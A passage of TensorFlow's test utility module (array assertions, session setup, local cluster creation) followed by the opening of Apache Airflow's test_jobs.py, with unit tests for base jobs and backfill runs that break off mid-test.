(%s)" % msg if msg is not None else "")) @py_func_if_in_function def assertArrayNear(self, farray1, farray2, err, msg=None): """Asserts that two float arrays are near each other. Checks that for all elements of farray1 and farray2 |f1 - f2| < err. Asserts a test failure if not. Args: farray1: a list of float values. farray2: a list of float values. err: a float value. msg: Optional message to report on failure. """ self.assertEqual(len(farray1), len(farray2), msg=msg) for f1, f2 in zip(farray1, farray2): self.assertNear(float(f1), float(f2), err, msg=msg) def _NDArrayNear(self, ndarray1, ndarray2, err): return np.linalg.norm(ndarray1 - ndarray2) < err @py_func_if_in_function def assertNDArrayNear(self, ndarray1, ndarray2, err, msg=None): """Asserts that two numpy arrays have near values. Args: ndarray1: a numpy ndarray. ndarray2: a numpy ndarray. err: a float. The maximum absolute difference allowed. msg: Optional message to report on failure. """ self.assertTrue(self._NDArrayNear(ndarray1, ndarray2, err), msg=msg) def _GetNdArray(self, a): # If a is a tensor then convert it to ndarray if isinstance(a, ops.Tensor): if isinstance(a, ops._EagerTensorBase): a = a.numpy() else: a = self.evaluate(a) if not isinstance(a, np.ndarray): return np.array(a) return a def _assertArrayLikeAllClose(self, a, b, rtol=1e-6, atol=1e-6, msg=None): a = self._GetNdArray(a) b = self._GetNdArray(b) # When the array rank is small, print its contents. Numpy array printing is # implemented using inefficient recursion so prints can cause tests to # time out. if a.shape != b.shape and (b.ndim <= 3 or b.size < 500): shape_mismatch_msg = ("Shape mismatch: expected %s, got %s with contents " "%s.") % (a.shape, b.shape, b) else: shape_mismatch_msg = "Shape mismatch: expected %s, got %s." % (a.shape, b.shape) self.assertEqual(a.shape, b.shape, shape_mismatch_msg) msgs = [msg] if not np.allclose(a, b, rtol=rtol, atol=atol): # Adds more details to np.testing.assert_allclose. # # NOTE: numpy.allclose (and numpy.testing.assert_allclose) # checks whether two arrays are element-wise equal within a # tolerance. The relative difference (rtol * abs(b)) and the # absolute difference atol are added together to compare against # the absolute difference between a and b. Here, we want to # tell user which elements violate such conditions. cond = np.logical_or( np.abs(a - b) > atol + rtol * np.abs(b), np.isnan(a) != np.isnan(b)) if a.ndim: x = a[np.where(cond)] y = b[np.where(cond)] msgs.append("not close where = {}".format(np.where(cond))) else: # np.where is broken for scalars x, y = a, b msgs.append("not close lhs = {}".format(x)) msgs.append("not close rhs = {}".format(y)) msgs.append("not close dif = {}".format(np.abs(x - y))) msgs.append("not close tol = {}".format(atol + rtol * np.abs(y))) msgs.append("dtype = {}, shape = {}".format(a.dtype, a.shape)) # TODO(xpan): There seems to be a bug: # tensorflow/compiler/tests:binary_ops_test pass with float32 # nan even though the equal_nan is False by default internally. np.testing.assert_allclose( a, b, rtol=rtol, atol=atol, err_msg="\n".join(msgs), equal_nan=True) def _assertAllCloseRecursive(self, a, b, rtol=1e-6, atol=1e-6, path=None, msg=None): path = path or [] path_str = (("[" + "][".join([str(p) for p in path]) + "]") if path else "") msg = msg if msg else "" # Check if a and/or b are namedtuples. if hasattr(a, "_asdict"): a = a._asdict() if hasattr(b, "_asdict"): b = b._asdict() a_is_dict = isinstance(a, collections_abc.Mapping) if a_is_dict != isinstance(b, collections_abc.Mapping): raise ValueError("Can't compare dict to non-dict, a%s vs b%s. %s" % (path_str, path_str, msg)) if a_is_dict: self.assertItemsEqual( a.keys(), b.keys(), msg="mismatched keys: a%s has keys %s, but b%s has keys %s. %s" % (path_str, a.keys(), path_str, b.keys(), msg)) for k in a: path.append(k) self._assertAllCloseRecursive( a[k], b[k], rtol=rtol, atol=atol, path=path, msg=msg) del path[-1] elif isinstance(a, (list, tuple)): # Try to directly compare a, b as ndarrays; if not work, then traverse # through the sequence, which is more expensive. try: a_as_ndarray = self._GetNdArray(a) b_as_ndarray = self._GetNdArray(b) self._assertArrayLikeAllClose( a_as_ndarray, b_as_ndarray, rtol=rtol, atol=atol, msg="Mismatched value: a%s is different from b%s. %s" % (path_str, path_str, msg)) except (ValueError, TypeError) as e: if len(a) != len(b): raise ValueError( "Mismatched length: a%s has %d items, but b%s has %d items. %s" % (path_str, len(a), path_str, len(b), msg)) for idx, (a_ele, b_ele) in enumerate(zip(a, b)): path.append(str(idx)) self._assertAllCloseRecursive( a_ele, b_ele, rtol=rtol, atol=atol, path=path, msg=msg) del path[-1] # a and b are ndarray like objects else: try: self._assertArrayLikeAllClose( a, b, rtol=rtol, atol=atol, msg=("Mismatched value: a%s is different from b%s. %s" % (path_str, path_str, msg))) except TypeError as e: msg = ("Error: a%s has %s, but b%s has %s. %s" % (path_str, type(a), path_str, type(b), msg)) e.args = ((e.args[0] + " : " + msg,) + e.args[1:]) raise @py_func_if_in_function def assertAllClose(self, a, b, rtol=1e-6, atol=1e-6, msg=None): """Asserts that two structures of numpy arrays or Tensors, have near values. `a` and `b` can be arbitrarily nested structures. A layer of a nested structure can be a `dict`, `namedtuple`, `tuple` or `list`. Args: a: The expected numpy `ndarray`, or anything that can be converted into a numpy `ndarray` (including Tensor), or any arbitrarily nested of structure of these. b: The actual numpy `ndarray`, or anything that can be converted into a numpy `ndarray` (including Tensor), or any arbitrarily nested of structure of these. rtol: relative tolerance. atol: absolute tolerance. msg: Optional message to report on failure. Raises: ValueError: if only one of `a[p]` and `b[p]` is a dict or `a[p]` and `b[p]` have different length, where `[p]` denotes a path to the nested structure, e.g. given `a = [(1, 1), {'d': (6, 7)}]` and `[p] = [1]['d']`, then `a[p] = (6, 7)`. """ if ragged_tensor.is_ragged(a) or ragged_tensor.is_ragged(b): return self._assertRaggedClose(a, b, rtol, atol, msg) self._assertAllCloseRecursive(a, b, rtol=rtol, atol=atol, msg=msg) @py_func_if_in_function def assertAllCloseAccordingToType(self, a, b, rtol=1e-6, atol=1e-6, float_rtol=1e-6, float_atol=1e-6, half_rtol=1e-3, half_atol=1e-3, bfloat16_rtol=1e-2, bfloat16_atol=1e-2, msg=None): """Like assertAllClose, but also suitable for comparing fp16 arrays. In particular, the tolerance is reduced to 1e-3 if at least one of the arguments is of type float16. Args: a: the expected numpy ndarray or anything can be converted to one. b: the actual numpy ndarray or anything can be converted to one. rtol: relative tolerance. atol: absolute tolerance. float_rtol: relative tolerance for float32. float_atol: absolute tolerance for float32. half_rtol: relative tolerance for float16. half_atol: absolute tolerance for float16. bfloat16_rtol: relative tolerance for bfloat16. bfloat16_atol: absolute tolerance for bfloat16. msg: Optional message to report on failure. """ a = self._GetNdArray(a) b = self._GetNdArray(b) # types with lower tol are put later to overwrite previous ones. if (a.dtype == np.float32 or b.dtype == np.float32 or a.dtype == np.complex64 or b.dtype == np.complex64): rtol = max(rtol, float_rtol) atol = max(atol, float_atol) if a.dtype == np.float16 or b.dtype == np.float16: rtol = max(rtol, half_rtol) atol = max(atol, half_atol) if (a.dtype == dtypes.bfloat16.as_numpy_dtype or b.dtype == dtypes.bfloat16.as_numpy_dtype): rtol = max(rtol, bfloat16_rtol) atol = max(atol, bfloat16_atol) self.assertAllClose(a, b, rtol=rtol, atol=atol, msg=msg) @py_func_if_in_function def assertNotAllClose(self, a, b, **kwargs): """Assert that two numpy arrays, or Tensors, do not have near values. Args: a: the first value to compare. b: the second value to compare. **kwargs: additional keyword arguments to be passed to the underlying `assertAllClose` call. Raises: AssertionError: If `a` and `b` are unexpectedly close at all elements. """ try: self.assertAllClose(a, b, **kwargs) except AssertionError: return raise AssertionError("The two values are close at all elements") @py_func_if_in_function def assertAllEqual(self, a, b, msg=None): """Asserts that two numpy arrays or Tensors have the same values. Args: a: the expected numpy ndarray or anything can be converted to one. b: the actual numpy ndarray or anything can be converted to one. msg: Optional message to report on failure. """ if (ragged_tensor.is_ragged(a) or ragged_tensor.is_ragged(b)): return self._assertRaggedEqual(a, b, msg) msg = msg if msg else "" a = self._GetNdArray(a) b = self._GetNdArray(b) # Arbitrary bounds so that we don't print giant tensors. if (b.ndim <= 3 or b.size < 500): self.assertEqual( a.shape, b.shape, "Shape mismatch: expected %s, got %s." " Contents: %s. \n%s." % (a.shape, b.shape, b, msg)) else: self.assertEqual( a.shape, b.shape, "Shape mismatch: expected %s, got %s." " %s" % (a.shape, b.shape, msg)) same = (a == b) if (a.dtype in [ np.float16, np.float32, np.float64, dtypes.bfloat16.as_numpy_dtype ]): same = np.logical_or(same, np.logical_and(np.isnan(a), np.isnan(b))) msgs = [msg] if not np.all(same): # Adds more details to np.testing.assert_array_equal. diff = np.logical_not(same) if a.ndim: x = a[np.where(diff)] y = b[np.where(diff)] msgs.append("not equal where = {}".format(np.where(diff))) else: # np.where is broken for scalars x, y = a, b msgs.append("not equal lhs = {}".format(x)) msgs.append("not equal rhs = {}".format(y)) # With Python 3, we need to make sure the dtype matches between a and b. b = b.astype(a.dtype) np.testing.assert_array_equal(a, b, err_msg="\n".join(msgs)) @py_func_if_in_function def assertNotAllEqual(self, a, b, msg=None): """Asserts that two numpy arrays or Tensors do not have the same values. Args: a: the expected numpy ndarray or anything can be converted to one. b: the actual numpy ndarray or anything can be converted to one. msg: Optional message to report on failure. """ try: self.assertAllEqual(a, b, msg) except AssertionError: return raise AssertionError("The two values are equal at all elements") @py_func_if_in_function def assertAllGreater(self, a, comparison_target): """Assert element values are all greater than a target value. Args: a: The numpy `ndarray`, or anything that can be converted into a numpy `ndarray` (including Tensor). comparison_target: The target value of comparison. """ a = self._GetNdArray(a) self.assertGreater(np.min(a), comparison_target) @py_func_if_in_function def assertAllLess(self, a, comparison_target): """Assert element values are all less than a target value. Args: a: The numpy `ndarray`, or anything that can be converted into a numpy `ndarray` (including Tensor). comparison_target: The target value of comparison. """ a = self._GetNdArray(a) self.assertLess(np.max(a), comparison_target) @py_func_if_in_function def assertAllGreaterEqual(self, a, comparison_target): """Assert element values are all greater than or equal to a target value. Args: a: The numpy `ndarray`, or anything that can be converted into a numpy `ndarray` (including Tensor). comparison_target: The target value of comparison. """ a = self._GetNdArray(a) self.assertGreaterEqual(np.min(a), comparison_target) @py_func_if_in_function def assertAllLessEqual(self, a, comparison_target): """Assert element values are all less than or equal to a target value. Args: a: The numpy `ndarray`, or anything that can be converted into a numpy `ndarray` (including Tensor). comparison_target: The target value of comparison. """ a = self._GetNdArray(a) self.assertLessEqual(np.max(a), comparison_target) def _format_subscripts(self, subscripts, value, limit=10, indent=2): """Generate a summary of ndarray subscripts as a list of str. If limit == N, this method will print up to the first N subscripts on separate lines. A line of ellipses (...) will be appended at the end if the number of subscripts exceeds N. Args: subscripts: The tensor (np.ndarray) subscripts, of the same format as np.where()'s return value, i.e., a tuple of arrays with each array corresponding to a dimension. E.g., (array([1, 1]), array([0, 1])). value: (np.ndarray) value of the tensor. limit: (int) The maximum number of indices to print. indent: (int) Number of characters to indent at the beginning of each line. Returns: (list of str) the multi-line representation of the subscripts and values, potentially with omission at the end. """ lines = [] subscripts = np.transpose(subscripts) prefix = " " * indent for subscript in itertools.islice(subscripts, limit): lines.append(prefix + str(subscript) + " : " + str(value[tuple(subscript)])) if len(subscripts) > limit: lines.append(prefix + "...") return lines @py_func_if_in_function def assertAllInRange(self, target, lower_bound, upper_bound, open_lower_bound=False, open_upper_bound=False): """Assert that elements in a Tensor are all in a given range. Args: target: The numpy `ndarray`, or anything that can be converted into a numpy `ndarray` (including Tensor). lower_bound: lower bound of the range upper_bound: upper bound of the range open_lower_bound: (`bool`) whether the lower bound is open (i.e., > rather than the default >=) open_upper_bound: (`bool`) whether the upper bound is open (i.e., < rather than the default <=) Raises: AssertionError: if the value tensor does not have an ordered numeric type (float* or int*), or if there are nan values, or if any of the elements do not fall in the specified range. """ target = self._GetNdArray(target) if not (np.issubdtype(target.dtype, np.floating) or np.issubdtype(target.dtype, np.integer)): raise AssertionError( "The value of %s does not have an ordered numeric type, instead it " "has type: %s" % (target, target.dtype)) nan_subscripts = np.where(np.isnan(target)) if np.size(nan_subscripts): raise AssertionError( "%d of the %d element(s) are NaN. " "Subscripts(s) and value(s) of the NaN element(s):\n" % (len(nan_subscripts[0]), np.size(target)) + "\n".join(self._format_subscripts(nan_subscripts, target))) range_str = (("(" if open_lower_bound else "[") + str(lower_bound) + ", " + str(upper_bound) + (")" if open_upper_bound else "]")) violations = ( np.less_equal(target, lower_bound) if open_lower_bound else np.less( target, lower_bound)) violations = np.logical_or( violations, np.greater_equal(target, upper_bound) if open_upper_bound else np.greater(target, upper_bound)) violation_subscripts = np.where(violations) if np.size(violation_subscripts): raise AssertionError( "%d of the %d element(s) are outside the range %s. " % (len(violation_subscripts[0]), np.size(target), range_str) + "Subscript(s) and value(s) of the offending elements:\n" + "\n".join(self._format_subscripts(violation_subscripts, target))) @py_func_if_in_function def assertAllInSet(self, target, expected_set): """Assert that elements of a Tensor are all in a given closed set. Args: target: The numpy `ndarray`, or anything that can be converted into a numpy `ndarray` (including Tensor). expected_set: (`list`, `tuple` or `set`) The closed set that the elements of the value of `target` are expected to fall into. Raises: AssertionError: if any of the elements do not fall into `expected_set`. """ target = self._GetNdArray(target) # Elements in target that are not in expected_set. diff = np.setdiff1d(target.flatten(), list(expected_set)) if np.size(diff): raise AssertionError("%d unique element(s) are not in the set %s: %s" % (np.size(diff), expected_set, diff)) @py_func_if_in_function def assertDTypeEqual(self, target, expected_dtype): """Assert ndarray data type is equal to expected. Args: target: The numpy `ndarray`, or anything that can be converted into a numpy `ndarray` (including Tensor). expected_dtype: Expected data type. """ target = self._GetNdArray(target) if not isinstance(target, list): arrays = [target] for arr in arrays: self.assertEqual(arr.dtype, expected_dtype) # pylint: disable=g-doc-return-or-yield @contextlib.contextmanager def assertRaisesWithPredicateMatch(self, exception_type, expected_err_re_or_predicate): """Returns a context manager to enclose code expected to raise an exception. If the exception is an OpError, the op stack is also included in the message predicate search. Args: exception_type: The expected type of exception that should be raised. expected_err_re_or_predicate: If this is callable, it should be a function of one argument that inspects the passed-in exception and returns True (success) or False (please fail the test). Otherwise, the error message is expected to match this regular expression partially. Returns: A context manager to surround code that is expected to raise an exception. """ if callable(expected_err_re_or_predicate): predicate = expected_err_re_or_predicate else: def predicate(e): err_str = e.message if isinstance(e, errors.OpError) else str(e) op = e.op if isinstance(e, errors.OpError) else None while op is not None: err_str += "\nCaused by: " + op.name op = op._original_op # pylint: disable=protected-access logging.info("Searching within error strings: '%s' within '%s'", expected_err_re_or_predicate, err_str) return re.search(expected_err_re_or_predicate, err_str) try: yield self.fail(exception_type.__name__ + " not raised") except Exception as e: # pylint: disable=broad-except if not isinstance(e, exception_type) or not predicate(e): raise AssertionError("Exception of type %s: %s" % (str(type(e)), str(e))) # pylint: enable=g-doc-return-or-yield def assertRaisesOpError(self, expected_err_re_or_predicate): return self.assertRaisesWithPredicateMatch(errors.OpError, expected_err_re_or_predicate) def assertShapeEqual(self, np_array, tf_tensor, msg=None): """Asserts that a Numpy ndarray and a TensorFlow tensor have the same shape. Args: np_array: A Numpy ndarray or Numpy scalar. tf_tensor: A Tensor. msg: Optional message to report on failure. Raises: TypeError: If the arguments have the wrong type. """ if not isinstance(np_array, (np.ndarray, np.generic)): raise TypeError("np_array must be a Numpy ndarray or Numpy scalar") if not isinstance(tf_tensor, ops.Tensor): raise TypeError("tf_tensor must be a Tensor") self.assertAllEqual( np_array.shape, tf_tensor.get_shape().as_list(), msg=msg) def assertDeviceEqual(self, device1, device2, msg=None): """Asserts that the two given devices are the same. Args: device1: A string device name or TensorFlow `DeviceSpec` object. device2: A string device name or TensorFlow `DeviceSpec` object. msg: Optional message to report on failure. """ device1 = pydev.canonical_name(device1) device2 = pydev.canonical_name(device2) self.assertEqual( device1, device2, "Devices %s and %s are not equal. %s" % (device1, device2, msg)) def _GetPyList(self, a): """Converts `a` to a nested python list.""" if isinstance(a, ragged_tensor.RaggedTensor): return self.evaluate(a).to_list() elif isinstance(a, ops.Tensor): a = self.evaluate(a) return a.tolist() if isinstance(a, np.ndarray) else a elif isinstance(a, np.ndarray): return a.tolist() elif isinstance(a, ragged_tensor_value.RaggedTensorValue): return a.to_list() else: return np.array(a).tolist() def _assertRaggedEqual(self, a, b, msg): """Asserts that two ragged tensors are equal.""" a_list = self._GetPyList(a) b_list = self._GetPyList(b) self.assertEqual(a_list, b_list, msg) if not (isinstance(a, (list, tuple)) or isinstance(b, (list, tuple))): a_ragged_rank = a.ragged_rank if ragged_tensor.is_ragged(a) else 0 b_ragged_rank = b.ragged_rank if ragged_tensor.is_ragged(b) else 0 self.assertEqual(a_ragged_rank, b_ragged_rank, msg) def _assertRaggedClose(self, a, b, rtol, atol, msg=None): a_list = self._GetPyList(a) b_list = self._GetPyList(b) self._assertListCloseRecursive(a_list, b_list, rtol, atol, msg) if not (isinstance(a, (list, tuple)) or isinstance(b, (list, tuple))): a_ragged_rank = a.ragged_rank if ragged_tensor.is_ragged(a) else 0 b_ragged_rank = b.ragged_rank if ragged_tensor.is_ragged(b) else 0 self.assertEqual(a_ragged_rank, b_ragged_rank, msg) def _assertListCloseRecursive(self, a, b, rtol, atol, msg, path="value"): self.assertEqual(type(a), type(b)) if isinstance(a, (list, tuple)): self.assertLen(a, len(b), "Length differs for %s" % path) for i in range(len(a)): self._assertListCloseRecursive(a[i], b[i], rtol, atol, msg, "%s[%s]" % (path, i)) else: self._assertAllCloseRecursive(a, b, rtol, atol, path, msg) # Fix Python 3 compatibility issues if six.PY3: # pylint: disable=invalid-name # Silence a deprecation warning assertRaisesRegexp = googletest.TestCase.assertRaisesRegex # assertItemsEqual is assertCountEqual as of 3.2. assertItemsEqual = googletest.TestCase.assertCountEqual # pylint: enable=invalid-name @contextlib.contextmanager def _constrain_devices_and_set_default(self, sess, use_gpu, force_gpu): """Set the session and its graph to global default and constrain devices.""" if context.executing_eagerly(): yield None else: with sess.graph.as_default(), sess.as_default(): if force_gpu: # Use the name of an actual device if one is detected, or # '/device:GPU:0' otherwise gpu_name = gpu_device_name() if not gpu_name: gpu_name = "/device:GPU:0" with sess.graph.device(gpu_name): yield sess elif use_gpu: yield sess else: with sess.graph.device("/device:CPU:0"): yield sess def _create_session(self, graph, config, force_gpu): """See session() for details.""" def prepare_config(config): """Returns a config for sessions. Args: config: An optional config_pb2.ConfigProto to use to configure the session. Returns: A config_pb2.ConfigProto object. """ # TODO(b/114333779): Enforce allow_soft_placement=False when # use_gpu=False. Currently many tests rely on the fact that any device # will be used even when a specific device is supposed to be used. allow_soft_placement = not force_gpu if config is None: config = context.context().config config.allow_soft_placement = allow_soft_placement elif not allow_soft_placement and config.allow_soft_placement: config_copy = context.context().config config = config_copy config.allow_soft_placement = False # Don't perform optimizations for tests so we don't inadvertently run # gpu ops on cpu config.graph_options.optimizer_options.opt_level = -1 # Disable Grappler constant folding since some tests & benchmarks # use constant input and become meaningless after constant folding. # DO NOT DISABLE GRAPPLER OPTIMIZERS WITHOUT CONSULTING WITH THE # GRAPPLER TEAM. config.graph_options.rewrite_options.constant_folding = ( rewriter_config_pb2.RewriterConfig.OFF) config.graph_options.rewrite_options.pin_to_host_optimization = ( rewriter_config_pb2.RewriterConfig.OFF) return config return ErrorLoggingSession(graph=graph, config=prepare_config(config)) def _get_cached_session(self, graph=None, config=None, force_gpu=False, crash_if_inconsistent_args=True): """See cached_session() for documentation.""" if self._cached_session is None: sess = self._create_session( graph=graph, config=config, force_gpu=force_gpu) self._cached_session = sess self._cached_graph = graph self._cached_config = config self._cached_force_gpu = force_gpu return sess else: if crash_if_inconsistent_args and self._cached_graph is not graph: raise ValueError("The graph used to get the cached session is " "different than the one that was used to create the " "session. Maybe create a new session with " "self.session()") if crash_if_inconsistent_args and self._cached_config is not config: raise ValueError("The config used to get the cached session is " "different than the one that was used to create the " "session. Maybe create a new session with " "self.session()") if crash_if_inconsistent_args and (self._cached_force_gpu is not force_gpu): raise ValueError( "The force_gpu value used to get the cached session is " "different than the one that was used to create the " "session. Maybe create a new session with " "self.session()") return self._cached_session @tf_export("test.create_local_cluster") def create_local_cluster(num_workers, num_ps, protocol="grpc", worker_config=None, ps_config=None): """Create and start local servers and return the associated `Server` objects. "PS" stands for "parameter server": a task responsible for storing and updating the model's parameters. Other tasks send updates to these parameters as they work on optimizing the parameters. This particular division of labor between tasks is not required, but is common for distributed training. Read more at https://www.tensorflow.org/guide/extend/architecture ![components](https://www.tensorflow.org/images/diag1.svg "components") Figure illustrates the interaction of these components. "/job:worker/task:0" and "/job:ps/task:0" are both tasks with worker services. Example: ```python workers, _ = tf.test.create_local_cluster(num_workers=2, num_ps=2) worker_sessions = [tf.compat.v1.Session(w.target) for w in workers] with tf.device("/job:ps/task:0"): ... with tf.device("/job:ps/task:1"): ... with tf.device("/job:worker/task:0"): ... with tf.device("/job:worker/task:1"): ... worker_sessions[0].run(...) ``` Args: num_workers: Number of worker servers to start. num_ps: Number of PS servers to start. protocol: Communication protocol. Allowed values are documented in the documentation of `tf.distribute.Server`. worker_config: (optional) `tf.ConfigProto` to initialize workers. Can be used to instantiate multiple devices etc. ps_config: (optional) `tf.ConfigProto` to initialize PS servers. Returns: A tuple `(worker_servers, ps_servers)`. `worker_servers` is a list of `num_workers` objects of type `tf.distribute.Server` (all running locally); and `ps_servers` is a list of `num_ps` objects of similar type. Raises: ImportError: if portpicker module was not found at load time """ if _portpicker_import_error: raise _portpicker_import_error # pylint: disable=raising-bad-type worker_ports = [portpicker.pick_unused_port() for _ in range(num_workers)] ps_ports = [portpicker.pick_unused_port() for _ in range(num_ps)] cluster_dict = { "worker": ["localhost:%s" % port for port in worker_ports], "ps": ["localhost:%s" % port for port in ps_ports] } cs = server_lib.ClusterSpec(cluster_dict) workers = [ server_lib.Server( cs, job_name="worker", protocol=protocol, task_index=ix, config=worker_config, start=True) for ix in range(num_workers) ] ps_servers = [ server_lib.Server( cs, job_name="ps", protocol=protocol, task_index=ix, config=ps_config, start=True) for ix in range(num_ps) ] return workers, ps_servers def get_node_def_from_graph(node_name, graph_def): """Returns the `NodeDef` instance for given node name in the graph def. This method explores only the NodeDefs in `graph_def.node`. Args: node_name: Name of the NodeDef to search for. graph_def: An instance of `GraphDef` proto. Returns: the `NodeDef` instance whose name field matches the given node_name or None. """ for node_def in graph_def.node: if node_def.name == node_name: return node_def return None def set_producer_version(graph, producer_version): """Sets graph.graph_def_versions.producer to `producer_version`.""" # The C API doesn't expose altering GraphDefVersions. We can indirectly set # it via import_graph_def though. graph_def = graph_pb2.GraphDef() graph_def.versions.producer = producer_version with graph.as_default(): importer.import_graph_def(graph_def) assert graph.graph_def_versions.producer, producer_version
test_jobs.py
# -*- coding: utf-8 -*- # # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. from __future__ import absolute_import from __future__ import division from __future__ import print_function from __future__ import unicode_literals import datetime import json import logging import multiprocessing import os import shutil import threading import time import unittest from tempfile import mkdtemp import psutil import six import sqlalchemy from mock import Mock, patch, MagicMock, PropertyMock from parameterized import parameterized from airflow.utils.db import create_session from airflow import AirflowException, settings, models from airflow import configuration from airflow.bin import cli import airflow.example_dags from airflow.executors import BaseExecutor, SequentialExecutor from airflow.jobs import BaseJob, BackfillJob, SchedulerJob, LocalTaskJob from airflow.models import DAG, DagModel, DagBag, DagRun, Pool, TaskInstance as TI, \ errors from airflow.models.slamiss import SlaMiss from airflow.operators.bash_operator import BashOperator from airflow.operators.dummy_operator import DummyOperator from airflow.task.task_runner.base_task_runner import BaseTaskRunner from airflow.utils import timezone from airflow.utils.dag_processing import SimpleDag, SimpleDagBag, list_py_file_paths from airflow.utils.dates import days_ago from airflow.utils.db import provide_session from airflow.utils.net import get_hostname from airflow.utils.state import State from airflow.utils.timeout import timeout from tests.test_utils.db import clear_db_runs, clear_db_pools, clear_db_dags, \ clear_db_sla_miss, clear_db_errors from tests.core import TEST_DAG_FOLDER from tests.executors.test_executor import TestExecutor configuration.load_test_config() logger = logging.getLogger(__name__) try: from unittest import mock except ImportError: try: import mock except ImportError: mock = None DEV_NULL = '/dev/null' DEFAULT_DATE = timezone.datetime(2016, 1, 1) TRY_NUMBER = 1 # Include the words "airflow" and "dag" in the file contents, # tricking airflow into thinking these # files contain a DAG (otherwise Airflow will skip them) PARSEABLE_DAG_FILE_CONTENTS = '"airflow DAG"' UNPARSEABLE_DAG_FILE_CONTENTS = 'airflow DAG' # Filename to be used for dags that are created in an ad-hoc manner and can be removed/ # created at runtime TEMP_DAG_FILENAME = "temp_dag.py" TEST_DAGS_FOLDER = os.path.join( os.path.dirname(os.path.realpath(__file__)), 'dags') class BaseJobTest(unittest.TestCase): class TestJob(BaseJob): __mapper_args__ = { 'polymorphic_identity': 'TestJob' } def __init__(self, cb): self.cb = cb super(BaseJobTest.TestJob, self).__init__() def _execute(self): return self.cb() def test_state_success(self): job = self.TestJob(lambda: True) job.run() self.assertEqual(job.state, State.SUCCESS) self.assertIsNotNone(job.end_date) def test_state_sysexit(self): import sys job = self.TestJob(lambda: sys.exit(0)) job.run() self.assertEqual(job.state, State.SUCCESS) self.assertIsNotNone(job.end_date) def test_state_failed(self): def abort(): raise RuntimeError("fail") job = self.TestJob(abort) with self.assertRaises(RuntimeError): job.run() self.assertEqual(job.state, State.FAILED) self.assertIsNotNone(job.end_date) class BackfillJobTest(unittest.TestCase): def _get_dummy_dag(self, dag_id, pool=None): dag = DAG( dag_id=dag_id, start_date=DEFAULT_DATE, schedule_interval='@daily') with dag: DummyOperator( task_id='op', pool=pool, dag=dag) dag.clear() return dag def setUp(self): clear_db_runs() clear_db_pools() self.parser = cli.CLIFactory.get_parser() self.dagbag = DagBag(include_examples=True) @unittest.skipIf('sqlite' in configuration.conf.get('core', 'sql_alchemy_conn'), "concurrent access not supported in sqlite") def test_trigger_controller_dag(self): dag = self.dagbag.get_dag('example_trigger_controller_dag') target_dag = self.dagbag.get_dag('example_trigger_target_dag') dag.clear() target_dag.clear() scheduler = SchedulerJob() queue = Mock() scheduler._process_task_instances(target_dag, queue=queue) self.assertFalse(queue.append.called) job = BackfillJob( dag=dag, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_first_depends_on_past=True ) job.run() scheduler = SchedulerJob() queue = Mock() scheduler._process_task_instances(target_dag, queue=queue) self.assertTrue(queue.append.called) target_dag.clear() dag.clear() @unittest.skipIf('sqlite' in configuration.conf.get('core', 'sql_alchemy_conn'), "concurrent access not supported in sqlite") def test_backfill_multi_dates(self): dag = self.dagbag.get_dag('example_bash_operator') dag.clear() job = BackfillJob( dag=dag, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE + datetime.timedelta(days=1), ignore_first_depends_on_past=True ) job.run() session = settings.Session() drs = session.query(DagRun).filter( DagRun.dag_id == 'example_bash_operator' ).order_by(DagRun.execution_date).all() self.assertTrue(drs[0].execution_date == DEFAULT_DATE) self.assertTrue(drs[0].state == State.SUCCESS) self.assertTrue(drs[1].execution_date == DEFAULT_DATE + datetime.timedelta(days=1)) self.assertTrue(drs[1].state == State.SUCCESS) dag.clear() session.close() @unittest.skipIf('sqlite' in configuration.conf.get('core', 'sql_alchemy_conn'), "concurrent access not supported in sqlite") def test_backfill_examples(self): """ Test backfilling example dags Try to backfill some of the example dags. Be careful, not all dags are suitable for doing this. For example, a dag that sleeps forever, or does not have a schedule won't work here since you simply can't backfill them. """ include_dags = { 'example_branch_operator', 'example_bash_operator', 'example_skip_dag', 'latest_only' } dags = [ dag for dag in self.dagbag.dags.values() if 'example_dags' in dag.full_filepath and dag.dag_id in include_dags ] for dag in dags: dag.clear( start_date=DEFAULT_DATE, end_date=DEFAULT_DATE) # Make sure that we have the dags that we want to test available # in the example_dags folder, if this assertion fails, one of the # dags in the include_dags array isn't available anymore self.assertEqual(len(include_dags), len(dags)) for i, dag in enumerate(sorted(dags, key=lambda d: d.dag_id)): logger.info('*** Running example DAG #{}: {}'.format(i, dag.dag_id)) job = BackfillJob( dag=dag, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_first_depends_on_past=True) job.run() def test_backfill_conf(self): dag = self._get_dummy_dag('test_backfill_conf') executor = TestExecutor(do_update=True) conf = json.loads("""{"key": "value"}""") job = BackfillJob(dag=dag, executor=executor, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE + datetime.timedelta(days=2), conf=conf) job.run() dr = DagRun.find(dag_id='test_backfill_conf') self.assertEqual(conf, dr[0].conf) @patch('airflow.jobs.conf.getint') def test_backfill_with_no_pool_limit(self, mock_getint): non_pooled_backfill_task_slot_count = 2 def getint(section, key): if section.lower() == 'core' and \ 'non_pooled_backfill_task_slot_count' == key.lower(): return non_pooled_backfill_task_slot_count else: return configuration.conf.getint(section, key) mock_getint.side_effect = getint dag = self._get_dummy_dag('test_backfill_with_no_pool_limit') executor = TestExecutor(do_update=True) job = BackfillJob( dag=dag, executor=executor, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE + datetime.timedelta(days=7), ) job.run() self.assertTrue(0 < len(executor.history)) non_pooled_task_slot_count_reached_at_least_once = False running_tis_total = 0 # if no pool is specified, the number of tasks running in # parallel per backfill should be less than # non_pooled_backfill_task_slot_count at any point of time. for running_tis in executor.history: self.assertLessEqual(len(running_tis), non_pooled_backfill_task_slot_count) running_tis_total += len(running_tis) if len(running_tis) == non_pooled_backfill_task_slot_count: non_pooled_task_slot_count_reached_at_least_once = True self.assertEquals(8, running_tis_total) self.assertTrue(non_pooled_task_slot_count_reached_at_least_once) def test_backfill_pool_not_found(self): dag = self._get_dummy_dag( dag_id='test_backfill_pool_not_found', pool='king_pool', ) executor = TestExecutor(do_update=True) job = BackfillJob( dag=dag, 